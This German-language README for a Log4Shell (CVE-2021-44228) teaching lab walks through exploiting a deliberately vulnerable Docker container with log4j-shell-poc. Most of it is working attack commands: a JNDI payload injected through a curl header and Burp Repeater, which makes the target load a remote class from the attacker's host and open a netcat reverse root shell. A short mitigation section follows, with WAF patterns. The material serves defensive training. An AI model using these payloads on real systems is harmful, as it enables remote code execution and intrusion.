
Hands-on lab for exploiting and understanding Log4Shell (CVE-2021-44228) using Docker, Kali Linux, Burp Suite and log4j-shell-poc. For teaching and defensive training in controlled lab environments only.
Log4Shell (CVE-2021-44228) ist eine der folgenreichsten Schwachstellen zur Remote-Code-Ausführung, die je offengelegt wurde. Sie betrifft Apache Log4j 2, ein weit verbreitetes Java-Logging-Framework, und ermöglicht Angreifern die Ausführung beliebigen Codes durch Missbrauch von JNDI-Lookups in Logmeldungen.
Dieser Leitfaden bietet ein vollständiges, reproduzierbares Demonstrationslabor unter Verwendung von:
log4j-shell-pocEs ist ausschließlich für Lehre, Forschung, Schulung und defensive Sensibilisierung in kontrollierten Umgebungen konzipiert. Struktur und Stil folgen dem gleichen Geist wie die begleitende README des „Shellshock“-Labors.
poc.py zur Verwendung von JDK 1.8.0_202curlDieses Labor darf nur in einer kontrollierten Umgebung durchgeführt werden, in der Sie eine ausdrückliche Genehmigung haben (eigenes Labor, Unterrichts-VMs usw.).
Log4Shell (CVE-2021-44228) ist eine kritische RCE-Schwachstelle in Apache Log4j 2.
Das Problem entsteht, weil verwundbare Log4j2-Versionen vom Angreifer kontrollierte Zeichenketten wie:
${jndi:ldap://ANGREIFER_IP:1389/a}
interpretieren.
Wenn diese Zeichenkette protokolliert wird, führt Log4j Folgendes aus:
In diesem Labor werden Sie:
log4j-shell-poc betreiben.curl und via Burp Suite ausliefern.Am Ende dieses Labors sollten Sie in der Lage sein:
Alle Komponenten laufen auf Ihrem vorhandenen virtuellen Labor. Für diese Beschreibung nehmen wir an:
Schlüsselidee
Der Angreifer injiziert:
${jndi:ldap://192.168.1.4:1389/a}
in einen HTTP-Header. Die verwundbare App protokolliert ihn mit Log4j2 → führt eine JNDI-LDAP-Suche zu 192.168.1.4:1389 durch → lädt eine bösartige Klasse von http://192.168.1.4:8000 herunter → führt die Klasse aus, die eine Reverse Shell zurück zu 192.168.1.4:9001 öffnet.
Auf Kali benötigen Sie:
nc).In dieser Anleitung nehmen wir an, dass die Kali-IP lautet:
192.168.1.4
Wenn Ihre IP abweicht, passen Sie alle Befehle entsprechend an.
Das PoC ist auf Java SE 8 Update 202 (JDK 1.8.0_202) angewiesen, da neuere Java-Versionen das von diesem Exploit verwendete Remote-Klassenladeverhalten einschränken.
Auch wenn Kali bereits OpenJDK 21 (oder ähnlich) hat, müssen Sie 8u202 separat installieren.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
Mirror-Stammverzeichnis:
https://mirrors.huaweicloud.com/java/jdk/8u202-b08/
Das Linux-x64-Tarball herunterladen (≈185 MB):
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz # sollte ~185M sein
/usr/bin/jdk1.8.0_202 extrahierensudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
Die Option --strip-components=1 entfernt das oberste Verzeichnis aus dem Archiv, sodass die Dateien direkt unter /usr/bin/jdk1.8.0_202 landen.
/usr/bin/jdk1.8.0_202/bin/java -version
Erwartete Ausgabe:
java version "1.8.0_202"
Java(TM) SE Runtime Environment (build 1.8.0_202-b08)
Java HotSpot(TM) 64-Bit Server VM (build 25.202-b08, mixed mode)
Wenn Sie dies sehen, ist JDK 1.8.0_202 korrekt installiert.
Öffnen Sie ein neues Terminal auf Kali (Sie können in ~/Log4Shell bleiben):
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
Sie sollten Logs ähnlich wie diese sehen:
:: Spring Boot :: (v2.6.1)
Tomcat initialized with port(s): 8080 (http)
Tomcat started on port(s): 8080 (http) with context path ''
Started VulnerableAppApplication ...
http://127.0.0.1:8080/ von Kali aus erreichbar.Kurzer Funktionstest:
curl http://127.0.0.1:8080/
Möglicherweise sehen Sie eine Whitelabel-Fehlerseite (HTTP 400). Das ist in Ordnung – alles, was wir brauchen, ist, dass die App läuft und Anfragen protokolliert.
log4j-shell-poc klonenIn einem neuen Terminal:
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
Dateien bestätigen:
ls
# poc.py, target/, README, etc. Exploit.java wird später erstellt.
poc.py zur Verwendung von JDK 1.8.0_202Standardmäßig erwartet poc.py, ein lokales JDK in einem Verzeichnis namens jdk1.8.0_20 innerhalb des Repos zu finden. Stattdessen haben Sie JDK 8u202 in /usr/bin/jdk1.8.0_202 installiert, daher müssen Sie das Skript aktualisieren.
poc.py in einem Editor öffnennano poc.py
Suchen Sie nach jdk1.8.0_20 (in nano: Strg+W, jdk1.8.0_20 eingeben, Enter drücken).
Sie sollten drei Vorkommen finden, z. B.:
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Ersetzen Sie sie mit:
subprocess.run(["/usr/bin/jdk1.8.0_202/bin/javac", str(p)])
exit_code = subprocess.call([
"/usr/bin/jdk1.8.0_202/bin/java",
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
subprocess.run([
"/usr/bin/jdk1.8.0_202/bin/java",
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
Speichern und schließen:
Strg + O → EnterStrg + XDas PoC verwendet nun JDK 1.8.0_202 von /usr/bin.
Von ~/Log4Shell/log4j-shell-poc:
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
Parameter:
--userip – Ihre Kali-IP (Angreifer): z. B. 192.168.1.4.--webport – Port für den eingebetteten HTTP-Server: 8000.--lport – Port, zu dem das Payload zurückverbindet: 9001.Wenn alles korrekt konfiguriert ist, sollten Sie etwa Folgendes sehen:
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up LDAP server
[+] Send me: ${jndi:ldap://192.168.1.4:1389/a}
[+] Starting Webserver on port 8000 http://0.0.0.0:8000
Listening on 0.0.0.0:1389
Wichtig:
LDAP-Server hört auf Port 1389.
HTTP-Server hört auf Port 8000.
Das genaue Payload zum Injizieren wird ausgegeben:
${jndi:ldap://192.168.1.4:1389/a}
Lassen Sie dieses Terminal laufen.
Öffnen Sie ein weiteres neues Terminal auf Kali:
nc -nvlp 9001
Sie sollten sehen:
listening on [any] 9001 ...
Dieser Listener wird die Reverse Shell von der verwundbaren Anwendung empfangen.
An diesem Punkt sollten Sie Folgendes haben:
poc.py läuft mit LDAP (1389) und HTTP (8000).curlBeweisen Sie zuerst, dass der Exploit mit einer rohen HTTP-Anfrage funktioniert.
In einem neuen Terminal (oder verwenden Sie ein vorhandenes):
curl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
}
Was passiert:
1. Die verwundbare App empfängt die Anfrage und protokolliert den `X-Api-Version`-Header.
2. Log4j2 sieht `${jndi:ldap://192.168.1.4:1389/a}` und führt eine JNDI-LDAP-Suche durch.
3. Ihr LDAP-Server (innerhalb von `poc.py`) antwortet mit einer Referenz auf eine bösartige Java-Klasse, die auf Ihrem HTTP-Server gehostet wird.
4. Die App lädt die Klasse herunter und führt sie aus.
5. Die Klasse verbindet sich zurück zu `192.168.1.4:9001` und startet eine Shell.
Bei Erfolg zeigt Ihr Netcat-Terminal:
```text
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 48xxx
id
uid=0(root) gid=0(root) groups=0(root), ...
Sie haben nun eine Root-Shell innerhalb des Docker-Containers.
Probieren Sie:
id
hostname
ls /
Beenden mit:
exit
Netcat kehrt in den Hörzustand zurück.
Demonstrieren Sie nun denselben Exploit-Pfad über einen Browser, der von Burp Suite vermittelt wird.
Starten Sie Burp Suite auf Kali.
Stellen Sie in Burp sicher, dass der Proxy-Listener auf 127.0.0.1:8080 läuft.
In Firefox:
127.0.0.1, Port: 8080.127.0.0.1 vorhanden sind.In Burp → Proxy → Intercept sicherstellen, dass Intercept ON ist.
In Firefox zu folgender Adresse navigieren:
http://127.0.0.1:8080/
Burp zeigt die abgefangene Anfrage, z. B.:
GET / HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 ...
...
Im Repeater die Anfrage so ändern, dass sie einen X-Api-Version-Header enthält:
GET / HTTP/1.1
Host: 127.0.0.1:8080
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Hinweise:
192.168.1.4 durch Ihre tatsächliche Kali-IP, falls abweichend.${}-Zeichen nicht URL-kodieren – sie müssen genau wie gezeigt erscheinen.Connection: close hält es einfach (optional).poc.py und der Netcat-Listener noch laufen.Möglicherweise sehen Sie erneut eine 400-Whitelabel-Fehlerseite – das ist in Ordnung.
Überprüfen Sie Ihr Netcat-Terminal:
listening on [any] 9001 ...
connect to [192.168.1.4] from (UNKNOWN) [172.17.0.2] 37244
id
uid=0(root) gid=0(root) groups=0(root), ...
Sie haben erneut eine Root-Shell auf dem Container erhalten, diesmal mit einer Burp-modifizierten HTTP-Anfrage, was einen realistischen Web-Exploit-Workflow widerspiegelt.
Angreifer erstellt das JNDI-Payload:
${jndi:ldap://192.168.1.4:1389/a}
Die verwundbare Anwendung protokolliert diese Zeichenkette mit Log4j2.
Log4j2 interpretiert ${jndi:...} und führt eine JNDI-Suche durch.
Die Suche verwendet LDAP, um den LDAP-Server des Angreifers unter 192.168.1.4:1389 zu kontaktieren.
Der LDAP-Server (marshalsec) antwortet mit einem javaNamingReference, das auf eine angreiferkontrollierte Klasse verweist, die über HTTP gehostet wird, z. B.:
http://192.168.1.4:8000/Exploit.class
Die Opfer-JVM lädt diese Klasse herunter und lädt sie.
Der Konstruktor der Klasse öffnet einen Socket zurück zu 192.168.1.4:9001 und bindet /bin/sh daran.
Der Netcat-Listener des Angreifers empfängt die eingehende Verbindung und erhält eine entfernte Root-Shell innerhalb des Containers.
In realen Umgebungen sollten mehrere Verteidigungsschichten angewendet werden.
Für noch verwundbare Bereitstellungen hinzufügen:
-Dlog4j2.formatMsgNoLookups=true
(Wo anwendbar – beachten Sie, dass nicht alle verwundbaren Konfigurationen allein durch dieses Flag behoben werden.)
JndiLookup aus log4j-core JARs entfernenAls Maßnahme für die Tiefenverteidigung:
zip -q -d log4j-core-*.jar \
org/apache/logging/log4j/core/lookup/JndiLookup.class
${jndi: oder ${${lower:j}${upper:ndi}:.Eine kompakte Übersicht der in diesem Labor verwendeten Befehle.
mkdir -p ~/Log4Shell
cd ~/Log4Shell
wget https://mirrors.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
ls -lh jdk-8u202-linux-x64.tar.gz
sudo mkdir -p /usr/bin/jdk1.8.0_202
sudo tar -xvf jdk-8u202-linux-x64.tar.gz \
-C /usr/bin/jdk1.8.0_202 --strip-components=1
/usr/bin/jdk1.8.0_202/bin/java -version
docker run --name vulnerable-app --rm -p 8080:8080 \
ghcr.io/christophetd/log4shell-vulnerable-app@sha256:6f88430688108e512f7405ac3c73d47f5c370780b94182854ea2cddc6bd59929
cd ~/Log4Shell
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
poc.py Java-Pfade aktualisieren (Zusammenfassung)Ersetzen:
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac")
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java") # zwei Verwendungen
Durch:
"/usr/bin/jdk1.8.0_202/bin/javac"
"/usr/bin/jdk1.8.0_202/bin/java"
python3 poc.py --userip 192.168.1.4 --webport 8000 --lport 9001
nc -nvlp 9001
curlcurl http://127.0.0.1:8080 \
-H 'X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}'
${jndi:ldap://192.168.1.4:1389/a}
X-Api-Version: ${jndi:ldap://192.168.1.4:1389/a}
kozmer/log4j-shell-pocchristophetd/log4shell-vulnerable-appLog4Shell (CVE-2021-44228) Teaching Lab – mit Sorgfalt erstellt für Studenten, Verteidiger und ethische Hacker weltweit.
Mit Liebe gemacht von:
Haitham aus Oman ❤️🇴🇲
| Komponente | Rolle / Beschreibung | Tools / Dienste | Beispieladressierung |
|---|
| Kali Linux VM (Angreifer + Host) | Führt PoC-Exploit, LDAP-Server, HTTP-Server, Netcat-Listener, Burp Suite aus | Python 3, JDK 1.8.0_202, Netcat, Burp Suite, Docker, curl, Git | 192.168.1.4 (Beispiel-Kali-IP) |
| Verwundbare Log4j2-Webanwendung | Ziel; Spring Boot Web-App, verwundbar gegenüber Log4Shell | Docker-Image: ghcr.io/christophetd/log4shell-vulnerable-app | Freigegeben unter http://127.0.0.1:8080 |
| Beschreibung | Bild |
|---|
| JDK-Installation / Umgebungseinrichtung | ![]() |
| PoC-Skript läuft (Payload auslösen) | ![]() |
| Verwundbare Tomcat-Webanwendung läuft | ![]() |
| Aktualisieren des Exploit-PoC-Skripts | ![]() |